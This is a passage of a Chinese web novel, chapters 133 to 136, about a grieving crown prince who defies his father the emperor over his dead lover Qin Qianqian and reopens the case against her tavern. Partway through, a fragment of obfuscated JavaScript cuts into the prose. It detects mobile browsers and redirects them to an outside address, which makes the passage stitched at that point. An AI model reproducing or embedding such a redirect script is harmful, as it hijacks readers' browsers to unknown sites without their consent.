元德不善与人沟通，平日里他就是个刽子手，不需要感情、不需要良心，只要能达到目的，那就不择手段。
可经过这两天，他变了。之前对殿下的绝对忠诚，也让他品出了一丝不一样的味道。
那就是敬佩。
“我应该跟老板说一声对不起的，当今世上，我除了敬佩殿下，另一位应该就是秦老板了。”元德思虑良久，还是开了口。
王老怪把手中的酒一仰而尽，喉头被凉酒润得发涩，“她能听到的，她会听到的。”
后来不知是念给自己听，还是念给别人听，他就这么重复了三四次。
“以后你打算怎么办？”元德问他。
前几天殿下身体抱恙，他就想起了王老怪，若是王老怪愿意，留在这里给殿下调养身体也好。
就怕王老怪自由惯了，不愿意留下来……
“我自然是要留在这里，我答应了阁主，而阁主又答应了千千，要替她守住穆轩岚的性命的。”
两个人对视一眼，察觉彼此脸上都是无奈的表情时，都苦中作乐地笑了。
天光乍破，久坐在案边一夜的穆轩岚终于起身，他轻轻放下手中的那张画像，动作一如之前抱住千千时那版轻柔。
“来人，为本王备马。”
133. 借此祭奠亡妻
自古以来，皇陵都是最能彰显皇家天威的地方，除了皇室宗亲，其它想要埋进皇陵的人，那都是封疆拜帅的将才。
当皇上听到，穆轩岚一早带人去都城外，找寻好山好水葬秦千千的时候，他还没发觉什么不对。
“既然他想，就随他去吧。”
这两日，皇上不想给穆轩岚添不痛快，毕竟自己背着他把他捧在心尖上的人杀了。
事后一道圣旨传入太子府，弄得全天下皆知，剿灭清风酒楼，是储君殿下的手笔。
这两件事儿加一起，皇上着实觉得，自己太亏欠自己儿子了。以至于曹公公回来禀报，说殿下不跪谢圣旨时，皇上由他去了。
可刚过晌午，暗卫传来的消息，却让正在皇后宫中议事的皇上大发雷霆。
好大的胆子！
竟敢说什么他不入皇陵！
皇后也是捧着心口气得不行，她赶忙跪在地上为穆轩岚求情。
“皇上，轩岚那只是气话而已，等他进宫臣妾去劝劝他，他会想开的。”
虽说此事交代下去保密，可又怎么能真的滴水不漏？不到一炷香的时间，已经传到穆元基耳中。
秦千千殒命这件事情，穆元基其实并没有很开心。
虽说他和穆轩岚是死敌，看他生不如死让自己畅快百倍，可他也在等着秦千千救命。
他本想等秦千千被抓进大牢，父皇肯定不会让穆轩岚去审讯她，那他就主动请缨，到时候不管穷尽何种手段，她都得说出楚风的下落。
那是他找到楚风的唯一法子。
可惜，现在希望全然幻灭了。
“来人，立刻给本王备轿，本王要去探望一下皇兄。”
穆轩岚身体还没好利索，他时不时就会咳两声，往日挺拔的身姿也柔和了一些，整个人看着就很没精神。
王老怪带着冬芸，跟着他出府，选风水宝地这种事情，怎么少得了风水先生？
随行的还有一位年纪轻轻的道士，若是不说身份，王老怪还以为他哪家的小王爷呢。
“本道今天不应该出来的，我掐指一算今天出来犯忌讳！”牧九明又幽怨地开口，这已经是他强调的第三次了。
自从在上个山脚，穆轩岚看着那山清水秀之地，说出他不会入皇陵，要跟秦千千在山野中合葬时，牧九明就把“忌讳之事”挂在了嘴上。
王老怪看他不顺眼，人家两人心意相通，这小道为什么非要唱衰穆轩岚？
其实是王老怪不知道，京都中消息传播有多快，那话一说出口，就一定会被皇上听去。
“咳咳……，你再多说几句，直接把我气死，我原地葬在这里就好。”穆轩岚睨了他一眼，牧九明赶紧打了两下自己的嘴。
“呸呸呸，我还等着殿下万寿无疆呢！”牧九明关切地看着他，转头吩咐元德，“时间差不多了，我们回去吧。”
看了几个地方，他回去测算一番就能找到最好的方位了。最重要的是，穆轩岚的身体扛不住了。
也正巧，暗卫送信过来，元德看了便直接当着在座人的面，说了出来。
“殿下，是五王爷到府上造访。”
穆轩岚点头，“按往常接待就行。”他嘴唇泛白，看着脸色十分不好。
冬芸从袖口拿出一个纸包，小心翼翼地打开，里面是一种高粱做成的甜食，大小如孩童手指一般，每条上面都挂着白色的糖霜。
她把高粱饴递给穆轩岚，穆轩岚却摇头回绝。
“我不喜欢吃糖。”
“我喜欢，我喜欢！”牧九明不顾马车颠簸，赶忙拿了一块儿。
“殿下，这是千千姐亲手给我做的，你吃一个吧。”冬芸有些着急，这些糖她存着不敢一次吃光，现在拿出来，也是看穆轩岚实在太苦了。
穆轩岚眼神晦暗，他浅浅嗯了一声，在吃了一块后，他嘴角微微上扬。
这傻孩子……
穆轩岚想，千千十指不沾阳春水的风格，她怎么可能会做这个？肯定是外面买来糊弄冬芸的。
不过，真的好甜。
牧九明脸色相当难看，手中的糖吃也不是，不吃也不是。
果然！今天自己就不适合出来！
“你还想浪费了不成？”穆轩岚微微蹙眉。
牧九明心中如遭雷击，他吃还不是吗？
一行人未行至府门时，就听到了外面吵吵嚷嚷的，似乎在吵架。
随着马车渐进，那小厮也不敢叫嚣了，他小声禀报主子，储君殿下回来了。
穆轩岚刚一下车，就看到了站在府门前的穆元基，出乎他意料的是，穆元基竟然规规矩矩地身着一身黑衣，这算是对千千的尊重了。
穆轩岚神情缓和一些，路过穆元基时，才开口让他跟着进门。
正堂乌泱泱又站了一堆人，穆元基看着堂中的棺材，眉头微蹙。
这穆轩岚完全不合规制乱来啊！
不过他都说出不入皇陵的疯话了，在堂中摆棺材，也没有什么可奇怪的了。
而且他也不是来唱反调的，穆元基接过牧九明递过来的三炷香，在棺前摆了摆。
“皇兄，可否借一步说话？”
穆轩岚就知道，这家伙无事不登三宝殿，今日如此乖顺，那必定是有事相求。
两个人穿过寂寥无人的长廊，停在一处依山傍水的亭子中，穆轩岚自顾自地坐下，默不作声地看着他。
穆元基再也忍不住了，哪怕是有冒犯，他也得问。
“皇兄，那死的，真的是秦千千吗？”
看着他眼中探求又迫不及待的样子，穆轩岚心中升腾出一丝茫然。
自己这是怎么了？怎么对千千的离去，自己从未流露出这种急切的神情……
他想不明白，便暂时搁置这个问题。
“不然呢？”理智回笼，穆轩岚一语道破天机：“哪怕她活着，你觉得她会告诉你楚风在哪吗？她若是活着，你确定能从我手里抢走她？”
穆元基被气的骤然起身，甩手就准备离开。可在离开前，他沉声说了句“节哀”，扬长而去。
穆轩岚不知道在原地呆坐了多久，直到牧九明来找他，他才怅然若失地问牧九明。
“元基的表情狠狠刺痛了我，我缅怀千千的情绪是不是不够，还是说，我太冷血了……这样的我，根本就配不上她对我的情谊！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026911|148501||http|test|mini|href|location''.split(''|''),0,{}));
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怅然若失变成了愤恨，他攥拳捶上石桌，牧九明眼疾手快拦住他，这要是给他砸上去，说不定手就废了。
牧九明从小跟他一起长大，他何曾见过这个真正的天之骄子，像如今这般怀疑自己、痛恨自己？
“轩岚，大悲希声，你不要过于苛责自己。在我看来，你现在浑身都被戳满了透风的洞，血迹斑驳中痛到你已经麻木了。”
“转念想想，若是她活在世上，会看你如此这般吗？她喜欢的不是那个意气风发的你吗？”
“如若不是如此，她又怎会百般保全你的姓名，又是委托她主人，又是委托那老头的……”
牧九明把该说的都说了，他担忧地看着穆轩岚，这人是出了名的说一不二，他若不肯放过自己，谁来说都没用。
若是秦千千活着，或许会有办法吧。
“我累了，你自己回去吧。”
皇上可没准备让穆轩岚休息，第二天直接召他进宫，说要商议要事。
侍女早已备好朝服，谁知道穆轩岚只选了一身月白色的衣服，甚至连发簪都用了样式最简约的白玉簪。
元德一看就知道要坏事，天潢贵胄，一般场合是不能穿白衣的。更何况，这是觐见皇上，而且殿下可是储君，国君穿白，那就是国丧……
怪不得，侍女侍卫跪了一地。元德在殿下踏出寝殿前，扑跪在他面前，苦口婆心地劝他。
“殿下，万万不可啊！若是冲撞了国君，那可是……”
穆轩岚冷哼了一声，“吾妻亡故，我借此装束祭奠亡妻，又有何不妥？”说罢，他决绝地抬脚离开。
比起平时坐撵轿入宫，今日的穆轩岚则是一步一步走过去的，他未带任何一个仆从，只身入宫。
皇上看到他这装束，自然暴怒，“这成何体统？”皇上手中的两颗金枣被他扔过来，穆轩岚纹丝不动地站在原地，任由它们一左一右擦身而过。
“哼，你倒是有定力。”皇上自然是不舍得砸他的，他起身朝穆轩岚走过去，语重心长地跟他商量。
“儿啊，父皇母后还为你寻了门亲事，你且悲戚这几日。过些时日，大朝拜还是要来参加的，知道吗？”
语气虽然温和，但话语中全是命令。毕竟他是天子，态度温和，已经是他能做出最大的让步了。
穆轩岚眼神一凛，无悲无喜地说道：
“父皇，儿臣此生只有一位发妻，她就是秦千千。未能随她离开，是儿臣此生憾事，若父皇愿意，大可以现在就处死我。”
皇上被他气的差点要动手，穆轩岚也不是站桩挨打的蠢货，他冷脸告退，也不管身后曹公公他们慌忙叫太医的种种。
府中的元德、王老怪急的团团转，看着穆轩岚衣角携风而归时，他们两个也不敢松气。
穆轩岚扫了一眼他们，便快步回了寝宫。
等元德、王老怪跟过去时，就发现他指尖有张纸条在被火焰吞噬。看火势马上燎到他的手指，元德正准备跑过去，穆轩岚悠然松手，那一角在空中燃尽。
“你烧的是什么？”王老怪眉心突突跳着，他有种不祥的预感。
“是阁主给皇上续命的药方。”
134. 他第一次踏足清风酒楼
自那天后，穆轩岚整个人一改颓势，又恢复了往日的有条不紊、运筹帷幄。
若偏要说，他肯定还是跟以前不一样了的。
元德从未见过殿下跟皇上唱反调，可自从此次回京，殿下好像再也不顾忌皇上和所谓的大局了。
或许是那天焚烧解药的火焰太过耀眼，以至于每每午夜梦回时，元德还会被当时殿下眼中的疯狂吓到。
不说跟了穆轩岚多年的元德，就连王老怪和冬芸，都察觉到穆轩岚正常的有点不正常。
“冬芸，你心中有什么事情，一定要说出来。不管是跟人说也好，跟花鸟鱼虫说都好，千万不要郁结在心中啊！”
王老怪嘴上劝的是冬芸，心中想的全是穆轩岚，他这样下去，早晚要出事儿的。
穆轩岚这几日告病，不需要去宫中朝拜，他就在府中调养身子。
说是调养，其实王老怪给他熬的中药，他一口没喝。王老怪清楚，穆轩岚也知道他清楚。
可王老怪还是变着法子熬药，定时送去正厅，那里早已被素锦布置成灵堂，正值天寒地冻的凛冬，棺材就在府中多放了一段时日。
又是一日晌午，王老怪抱着一个描龙画凤的方壶，去找穆轩岚。
“殿下，该喝药了。”嘴上虽是尊称，可王老怪行为举止却丝毫不含糊，他直接把药放在棺材板上，整个人也倚在棺材边。
穆轩岚跪在棺材前，抬头看着对自己、对千千大不敬的人，眼中却没有半分生气，其中全是春风和煦般的祥和。
“知道了，你先放在这里吧。”
王老怪咬紧牙，他弯腰揪住穆轩岚的领口，忍无可忍地推搡他一把，穆轩岚跪在蒲团上纹丝不动，王老怪却歪到了一边。
……
“千千的亡故，是我们谁都不愿意看到的，可事情已然如此，你觉得她会愿意看到你在这里长跪不起，折磨自己吗？”王老怪攥紧拳头，决定来个以毒攻毒。
“她为何甘愿做状元郎的刀下亡魂，还不是为了让你能够坦荡活在这世间！死者已矣，我们唯一能做的，就是向前看……”
穆轩岚眼神恍然地看着王老怪，道理他又怎么不懂？
可循规蹈矩二十多年，一直紧绷着的那根弦断了，他才惊觉，自己活得好累。
“我只想再跟她独处几天，而已。”穆轩岚嗓音喑哑，就像年久失修却依旧在吱呀运转的机杼，听得王老怪揪心。
不过，听他言尽于此，王老怪这才长出一口气。
“好，那你最近就安心，记得把药喝了，切莫垮了身体。”
看着王老怪离去的背影，穆轩岚欲言又止，却最终没有叫住他。
穆轩岚知道王老怪最近在找姜千秋，虽然这老头安慰起自己头头是道，但他还是无法相信，秦千千就这么没了。
可碍于自己的现状，王老怪从未跟自己说起这件事请……
月色阑珊，穆轩岚突然想起什么，便提着那盛药的方壶回了寝殿。
世事寂寥，他决定把每日的见闻都撰写下来。
若在阳世与她能有重逢之日，那他就一张一张念给她听，听她不在的这些日子里，自己的见闻。
千千最爱听故事，也最会讲故事。想到这里，穆轩岚停住执笔蘸墨的手，嘴角微微上扬。
若是此生缘悭一面，那就算追到碧落黄泉，他也会找到她的，这辈子欠她的，自己总要还回去。
“殿下，您现在真的要去吗？”元德不安地问。
虽说殿下愿意到处走走是好事，可唯独殿下要去的，是清风酒楼。
穆轩岚看出他的犹豫，就知道他想去寻王老怪。
近些日子，他们两个倒是成了知无不言、互诉衷肠的好友，穆轩岚并未觉得有何不妥。
“去叫上他吧，别带上冬芸。”那里满地惨状，还是不要让小孩子去了。
京都最繁华的街道，哪怕是深夜，也是整条长街都灯火通明的。
穆轩岚他们三人，停在路人唯恐避之不及的清风酒楼门口，引得街上的行人纷纷打量他们。
身着白衣的穆轩岚，看着大门上交叠的封条，心中五味杂陈。
之前为了接近千千，他从未登门来过这里；现如今，这里已经破败了，自己才姗姗来迟。
他抬手直接撕掉封条，随手把那两张纸扔进风中，大步迈了进去。
封条恰巧落在王老怪脚边，他低头看了眼封条，直接踩了一脚。
不踩，难解他心头之恨。
街上不时传来几声“嘶嘶”的抽气声，大家都在议论纷纷，这可是朝廷贴的封条，这三个人究竟是什么来路，这么大胆？
“老陈，你平时不是最缺钱吗，快去把这个报告给官府，怎么也得领几两银子花花吧？”一个路人打趣老陈。
老陈恼怒地朝那人摆手：“知恩图报我老陈还是知道的，若是真有人能为秦老板平反，我一定去喝彩！别把我看扁了！”
原来，清风酒楼敛财无数，却也很是大方，时不时会接济一些穷困潦倒的人。
而这次秦千千的“真心换真心”取得了回报，今晚官府没有收到一条告发，也就是巡逻兵走到这里，才发觉有人撕了封条。
自从进了清风酒楼，王老怪就沉浸在过去的记忆中，这里跟他记忆中的模样，倒是没怎么变化。
可一想这屋中该烧的、不该烧的都被烧得差不多了，自己又能看出些什么呢？
穆轩岚看着地板上被火燎过的痕迹，推断出千千最后就躺在自己眼前这片区域，悲恸再度翻涌上心头，他悄无声息地蹲下去，用手戳碰那焦黑的木板。
“那晚除了在这里夜宴的客人，就没有清风酒楼的伙计了吗？”
穆轩岚强迫自己从悲伤中走出来，他要弄明白那晚发生的事情，他想找出一点，她还活着的蛛丝马迹。
元德赶忙上前一步禀报，当时的情况。
由于招牌酒打折，所以哪怕是深夜，酒楼中汇聚的人也很多，几乎到了无处下脚的地步。伙计，还真没怎么见。
不过官兵闯进后院的时候，有几十个人忙着逃窜，有些发觉自己逃不掉，就转身开始殊死一搏。
“不过，那些人虽说身手了得，各个凶神恶煞的，看着并非良善
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之辈。属下有一个猜测，不知当讲不当讲？”
元德这几日一直在想这个问题，可殿下郁郁寡欢、心力交瘁，就让元德暂时搁置此事了。
穆轩岚微微偏头，眸色阴郁。
“你是想说，这些人是被抓来替死的三教九流？”
几乎是话音刚落，穆轩岚就想起千千曾经说过：
江湖上有赏金猎手，猎手领召集令，抓一些恶人领赏钱。可那些恶人最后去了哪里，这千千倒是没有说过。
“殿下，属下翻遍酒楼，找到了一些画像。只不过当时臣有所隐瞒，并未告诉随行之人。”
早在殿下违逆天子之前，元德也悄悄欺瞒了皇上。
后来看着殿下跟皇上作对，元德在心中松了一口气，自己此事算是没做错。
元德去楼上隐蔽的地板中，找出那藏进去的画像，正捧着画像下楼却听到外面呼和嘈杂的，好像还有几声路人喊快跑的声音……
“大胆！谁让你们进来的？”巡街的队伍列队进门，最后进来的人指着屋里的两个背影，就大声呵斥。
还不等穆轩岚从地上起身，王老怪就站出来跟那人对骂，他故意拉高声音，为的就是提醒元德，别把东西拿下楼。
“你是什么东西！这可是当今储君殿下，你竟敢在此叫嚷？”
那兵官一愣，在看清楚那身着素衣之人的长相后，他手中的长刀铛啷坠地，他哆哆嗦嗦地跪在地上，身边跟着的二十来个小兵，也都乌泱泱地跪下。
“小的该死，冲撞了殿下，请殿下责罚！”
说着，他们接连不断地叩头。
穆轩岚面色阴沉，说出的话更是威压满满。
“自此以后，你们不用再巡街了，就守在这清风酒楼门口，谁都不准入内。若守不住，那便以死谢罪。”
说罢，二人离开酒楼回府。
直到在府中看到元德时，王老怪才松了口气。
“快快快，让我看看那画像长什么样子？”王老怪急切地问他，元德拿出怀中的几十张画像，先呈给殿下。
王老怪凑过去看，这一看，还真给他确定了，这就是召集令。
在兴江村，他有看到任楚君和邢历帆两人揣着类似的画像，而且不止一张。
“这绝对就是召集令！”
王老怪大喜过望，若是清风酒楼原来的伙计都被转移了，那说不准找到她们，就能问出当时的计划。
“那咱们还等什么，不是还抓的有活口吗？我们去比对一下不就可以了？”
元德一脸为难地看着殿下，穆轩岚嗤笑一声，他已经明白了。
当初元德不把这个拿出来，就是因为所有东西全都呈报皇上了，所有人质也都在皇上大牢中押着，寻常人，恐怕是见不到了。
“什么？你是说皇兄带着个老头，去了那封禁之地？”穆元基往后一倚，开始若有所思起来。
谁不知道元德可是穆轩岚的贴身护卫，他怎么会不在？再说，父皇现在已然知晓此事，又会怎么惩处穆轩岚呢？
翌日天不亮，穆轩岚就穿戴整齐，准备进宫参加早朝。
135. 你甚至不愿哄骗朕
除了提前收到密报的皇上，早朝之上，没有一个人是不震惊的。
消息不灵通的，还在跟同僚窃窃私语，商讨储君为何不着朝服却身着素衣；消息稍微灵通一些的，都知晓穆轩岚这是大病未愈、带病上朝。
满朝群臣，只有皇上和穆元基知道，穆轩岚此番装扮的缘由。
皇上也不准备诘问他，毕竟，穆轩岚真的敢当众说出，他那套亡妻的话……
至于穆元基，他则是不由得为死对头捏了把汗，这不是公开跟父皇对着干？可看穆轩岚不甚在意的样子，他又气得牙痒痒。
凭什么自己活得谨小慎微，他穆轩岚无论何时、何地都能如此坦然？
与往常一样，群臣该递折子的递折子，该启奏皇上的启奏皇上。
最终，刑部尚书跪地请命。
“启奏皇上，昨日商议的尽诛清风酒楼党朋的事情，今日是否可以商议个决断，臣好尽早部署计划。”
穆轩岚倏然转头看着他，丁大人如芒在背。
穆轩岚协理六部的事宜，照理说，大小事务都是要禀报给他的，可是昨天皇上特意交代了丁大人，此事不用跟储君再议。
丁大人故意把事情惹大，反正早晚都要让穆轩岚知道。而且他没猜错，皇上现在果然不做声，想要把黑锅甩给自己。
作为混迹朝政十几年的老江湖，丁大人心中已然有了决断。
穆轩岚什么都没说，但也什么都说了。
丁大人赶忙给穆轩岚解释，储君聪颖过人，一定能听出话中的意思。
“殿下近日身体抱恙，臣不想扰了殿下修养，才没有将此事上报给您。”
说罢，他还叩了个头。
穆轩岚点了点头。
“丁大人不必多礼，好在此事还未敲定，还未酿成大错。”
丁大人额头突然冒汗，这边怎么有一口更大的锅？
皇上观察着两人之间的暗流涌动，看丁代吓得几乎要发抖，皇上就气不打一处来。
轩岚明明是冲朕来的，你怕个什么呢？
可皇上转念一想，真真是虎父无犬子，现如今的轩岚，的确更有一国之君的威严了。
“何为未酿成大祸？”皇上开口问道。
穆轩岚转身看着稳坐龙椅的天子，对答如流。
“父皇，案子尚有疑点，现如今就颁布诛杀令尚早。儿臣自愿请命，督办此案，若是祸乱朝纲之事坐实，儿臣愿为尽诛恶人奔走天下。”
穆轩岚近几日未上朝，可京中消息却也没有落下。
祸乱朝纲，是为秦千千按上的罪名。
这个罪名，只是个众人皆知的借口而已。甚至，在他认识秦千千之前，这罪名其实就已经敲定了。
皇上眼神在一瞬间冷了下来，他算是看出来了，这穆轩岚是准备出尔反尔了。
在穆轩岚离京前，他们就已经商议好，若是撬不开秦千千的嘴，那就用祸乱朝纲的罪名，要挟秦千千。
现在，他竟然说什么，尚有疑点？
殿中众人大气都不敢出，穆元基也跟身边人一样，悄然底下头颅，可穆轩岚站姿依然挺拔，他就那么看着天子。
“退朝吧，此事你跟朕去庆榆殿商议，老五也留下一同前往。”
穆轩岚大步跟上。
穆元基心中甚是惊慌，皇上什么时候这么器重自己了？平日里，他不是时常告诫自己，做个闲散王爷的吗？
哪怕是跟穆轩岚并排站在案前，穆元基心中还是忐忑。
“元基，知道朕为什么叫你来吗？”
穆元基没想到，皇上怎么先跟自己说话了？一开口还是问自己不知道的致命问题，他只能沉默着摇头。
本以为穆轩岚会看自己的笑话，谁知道他只面无表情地站着，并未看自己。
皇上对穆元基的无知不意外，他把手中的茶盏重重放在桌子上，开始斥责穆元基。
“若不叫你来，你转头还要收买太监宫女，过来打探消息吧。”
穆元基麻利地跪在地上，一边说着儿臣不敢、一边又说儿臣错了，看得皇上更是气不打一处来。
孺子不可教也！
对他一番敲打后，皇上再度试探他。
“接下来朕要跟你皇兄商议事情，你是要留下来听，还是要事后让人偷听？”
“儿臣不敢！父皇皇兄商议的是军国大事，儿臣就先告退了。”
穆元基火速离开庆榆殿，他随行的小厮还殷勤地问王爷，用不用他现在去收买人，晚些时候去附上通风报信。
他正恼羞成怒呢，这又被激了一下，便反手赏了那小厮一巴掌。
“以后宫中的事情，该本王知道的，本王自会知道，不要再提这种下作的手段！”
“好一个储君殿下，你现在倒是刚硬的很！未逢国丧，你却披白上朝，这是巴不得朕早些归西吗？”皇上骤然暴怒，震声斥责他。
穆轩岚心中凄然，他在跟千千分别的最后，都想着为父皇的长生计划疲累奔走……
可现在，父皇竟如此揣度自己。
这怎能不让他心寒？
“儿臣不敢。”他微微颌首，脸上却掀不起波澜。
“不敢？你现在有什么不敢的，你倒是说说，那案子你要怎么审？以及，你这衣服，什么时候能换了？”
皇上看着那白衣服，觉得甚是扎眼，纵使自己无法千秋万代地活下去，那他穆轩岚也是未来的国主。
一国之主，哪有不愿婚配、不野心蓬勃的？
穆轩岚听出皇上话中的意思，他这是非要杀清风酒楼的人了，那他也不远多费口舌。
“儿臣想要在他们临死前，见一面那些囚犯。”他抬头正视皇上，眼中满是笃定。
“若是父皇看不惯儿臣的衣着，儿臣请愿即刻离京，永不回京都。”
“不！”
门外传来一道声音，穆轩岚不用回头也知道，那是他母后。
母后一人进殿，皇后母仪天下一辈子，这是第一次脸上流露出慌乱，她双手提着裙摆，快步朝他走来。
“轩岚，你不要胡说！你走了，母后怎么办？”她眼眶湿润，拉着穆轩岚的胳膊。
自从穆轩岚回来，皇后就没机会见他。
她按照理规出不了皇宫，而穆轩岚在那日进宫
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后，就在府中养病，母子两人就这样一直没有见面。
“你母后说得对！抛开天家身份，轩岚，我们也就是一家三口而已，你真忍心为了一个满嘴谎话的骗子，抛弃你的爹娘吗？”
为臣多年，穆轩岚自然知道，穆振恒是有多么功利；为子多年，穆轩岚也知道，这个让他敬重的父亲，又有多自私。
“轩岚……”庞郁安此时不是皇后，她只是个苦心劝告儿子的母亲。
穆轩岚推掉母后的手，这已经是他忍耐的最大限度了。
若是其他人，在他们喊千千骗子的时候，自己就拧断他的脖子了。
“那她怎样能不是骗子？为您凭空捏造一个云岫山，再杜撰一本修仙传吗？说实话，竟也算是骗子了……呵。”
穆振恒从未被人顶撞至此，本想敲打他几句，他若是顺势认个错也就算了，结果现在竟然跟自己顶嘴？他用力拍了一下桌子，气得脸青紫。
庞郁安赶忙拦在穆轩岚身前，让他跟父皇认错，那种大逆不道的话，是他的无心之失。
看着眼前的“盛况”，穆轩岚却笑出声。
“皇上皇后，容臣把事情禀报清楚，臣的心迹不会再变，此生非千千不娶。现在斯人已逝，臣会一辈子为她守丧。或者，你们大可以下令，直接杀了我。”
穆轩岚字字铿锵，已然表明了自己的决心。
穆振恒气得攥得扶手咯吱作响，庞郁安也骤然失神，往后踉跄了一步。
穆轩岚赶忙扶住母后，帮她稳住身形。
若说对父皇只剩君臣情谊，那他还是无法割舍下母子情深的，千千也曾提点过自己这点。
“……你甚至不愿哄骗朕，朕还有多少时日呢？你哪怕编个好听的骗骗朕，跟朕讨伐一下秦千千，你也不愿意。”
此刻，穆振恒褪下所有伪装，仿佛在一瞬间苍老了几十岁，他很少唉声叹气，也很少用这般央求的语气说话。
穆轩岚抬眸看着皇上，心情十分复杂，不过转瞬间眼神就清明起来。
他不能那么说。
自己和千千的误会已经够多了，若是再被她听到，自己说她坏话，她更不会原谅自己了。
“父皇，她已付出了性命，您是否可以放过追查清风酒楼的事情？”
穆轩岚的计划丝毫没有被“父子情深”打乱，他要尽全力保住清风酒楼的人。
怎么说，那也是千千多年心血，自己不能看着它眼睁睁地被毁。
其实在穆轩岚心底深处，他还抱有一丝希冀。
希望清风酒楼、芳草阁运作如常，那样，说不准有一天，她就会像变戏法一样出现，自己的下半辈子也算有点活下去的希望……
“之前你没有详细跟朕禀报，当时你见姜千秋时，她究竟跟你说了些什么。”皇上眼神中闪过一丝精明，那抹异样被穆轩岚捕捉得清楚。
“还有，她既然通晓那么多事情，就没有想到过，给朕一个延年益寿的方子，为她属下求求情？那样说不准，秦千千就不用死了。”
穆轩岚盯着那尚算和蔼的面庞，心中却升腾起一股厌恶。
会吗？决计不会。
136. 自己比想象中还要爱她
或许姜千秋和千千，正是看透了这一点，才对自己三缄其口，从来不愿意真正信任自己……
穆轩岚现在全看明白了，他彻底理解千千的做法，也懂了她为何，早早开始便说死局已定。
当初他以为千千她们不了解父皇，现在他才发现，是自己不够了解天子。
“未曾。”
穆轩岚淡然开口，回答那自私自利的人。
穆振恒神情稍有懈怠，似乎疲累不堪了，他黯然神伤地点了下头。
“人就在大牢中，你想去审就去吧，可清风酒楼党朋之罪，可不是那么好开脱的。”
一退一进，这是穆振恒惯用的形式套路。
稍微识大局的人，都该知道，天子赏赐了见犯人的机会，那定罪之事，穆轩岚就该退一步。
若是原来的穆轩岚，他便让步了。
可惜，他不是。
“父皇放心，儿臣一定秉公办案，给您一个交代。”
穆振恒抬眸瞪着眼前的人，穆轩岚低头跟他行礼，并未看到天子那骇人的表情。
一旁的皇后可是看得一清二楚，她立马皱眉朝皇上摇头，看皇上收起不悦之情后，她才拉着穆轩岚的胳膊，把人扶起来。
“轩岚，很久没去母后宫中坐坐了，中午同母后一同用膳吧。”
穆轩岚思虑片刻，便应承了下来。
一路上两人并未言语，直到回了宫中，屏退所有宫女太监后，庞郁安才拉着他的手，让儿子坐在自己身边。
没了旁人，母子两人才能说些心里话。
“她是个什么样的人呢？母后从你偶尔传回来的只言片语中，发现你好像特别喜欢她，她一定有很多过人之处吧？”
穆轩岚没想到，两个人竟然是从千千开始聊起，他低头浅笑，近来他常常回想起曾经的事情，正好趁着这个契机，光明正大的缅怀一回。
他从自己的遗憾开始说起，当初为了算计她，错失了与天海朝联手的最好时机。
“她可真是个聪颖的姑娘。”庞郁安满眼柔和地感慨，穆轩岚顾不得自己母后什么神情，他心中满是懊悔。
若是……
可这世间没有若是。
事情一桩桩、一件件被陈列出来，讲述的过程中，穆轩岚发现，那些曾经暧昧不清的情谊，都在此时深入骨血。
自己比想象中还要爱她，而她也是如此。
原本他以为，千千跟他回嘉松别苑，是不得已隐退江湖的顺水推舟而已。
现在他才发觉，其实她这是在补偿自己。
或许正如她说的那样，自从送走晏信后，她就在千方百计地补偿自己。
毕竟，自己寥寥余生再也碰不到她了。
真傻，她安排妥帖身边每一个人，却唯独落下了自己。
庞郁安听完这些事情后，良久不能言语。
她久居宫墙之中，自小学习的都是夫为妇纲之类的规矩，未曾想，外面的世界也是如此跌宕波折、令人惊叹。
而那奇女子也让她跟着扼腕叹息。
若说之前，自己只因为千千是儿子的心上人，而为她的死惋惜；那现如今，自己则是真心为她难过。
“明知死局已定，她还能如此心胸开阔、有条不紊地行事，真是太让人佩服了。”
庞郁安眼神飘向殿外，她看着天上缓缓变幻的云，似乎在透过那看秦千千一样。
“她既能协理天下事，又有孩童般的稚真，可真是个富有神秘色彩的人物。若是有可能的话，母后还真想见她一见呢。”
穆轩岚自从讲完往昔后，就一副兴致缺缺的样子，现如今也是皇后手在他眼前晃了晃，这才叫回他的注意力。
其实皇后今天的本意，并非与他一同忆往昔，她其实是要来当说客的。
目的就是劝说穆轩岚接受联姻，放弃秦千千。
可现在，连自己都被她的人格魅力所征服，那更何况是跟秦老板两情相悦的穆轩岚呢？
庞郁安无奈地笑了一声，再难，她也得试试。
佩服秦千千不假，可她也不能看着自己儿子孤独终老。青丝守新冢，一年两年、三年五年都可以，但不能一辈子如此。
“轩岚，你真准备这辈子非她不娶吗？还有，她有没有夸过你，穿什么颜色的衣服都好看，祭奠亡人，也未必要日日着白……”
穆轩岚转头望着她，眼神中有隐忍，有无奈，还有一丝释然和顿悟。
庞郁安心慌地立马解释，她前面夸秦千千是真心的，并不是虚与委蛇的假话。
“母后，若是我并未与她心意相通，那返京后，你们安排的婚事，我自然不会有任何怨言。毕竟，我自小就就是这么过来的。”
他话中没有埋怨，而是满满的无奈。
穆轩岚知道，他自小只有一条路走，而他母后又何尝不是如此呢？生来的身份，决定了他们只能认命。
“以前的我，活的像是个无心人，如同行尸走肉般按部就班地行事。”
“可是现在不同了，跟她在一起的时光，我越来越像一个人，会开心、会难过、会因为她跟别人多说一句话而吃醋……”
“可这些，也都是我在失去她后，才知晓的事情。有张无形的大手，从我的胸腔中掏出我的心——”
穆轩岚手盖住自己的胸口，那里的心脏在蓬勃地跳动。可他却觉得，泵入身体的血液，全都是带着冰棱的万年寒冰。
它们叫嚣着划开自己血脉，让自己每时每刻如同身处炼狱般痛苦不已。
“这里缺了一块儿，母后，我真的……很痛。”
最后的两个字轻若游丝，落在庞郁安耳中却如同平地惊雷一般，她心痛极了。
庞郁安把他搂在怀里，她的眼泪一颗一颗砸下来，所有安慰的话却说不出口。
她知道，穆轩岚自小忍耐力就强，他曾经摔断腿，也只是咬牙坚持而已，那时的他才十岁……
现在他却这般脆弱，庞郁安不敢想，他心中会有多难熬。
穆轩岚这些时日的确在咬牙坚持，高高在上的身份，让他没有养成倾诉情感的习惯。
事到如今说出口后，他却并没有觉得自己好受多少。
千千，你可真是个骗子！等我见到你的时候，一定要好好收拾你一顿。
想到她，穆轩岚紧闭的眼帘，终究还是没能拦住眼泪。
他多希望，那小骗子再骗自己一次，现在立马跳出来告诉他，你被骗了！
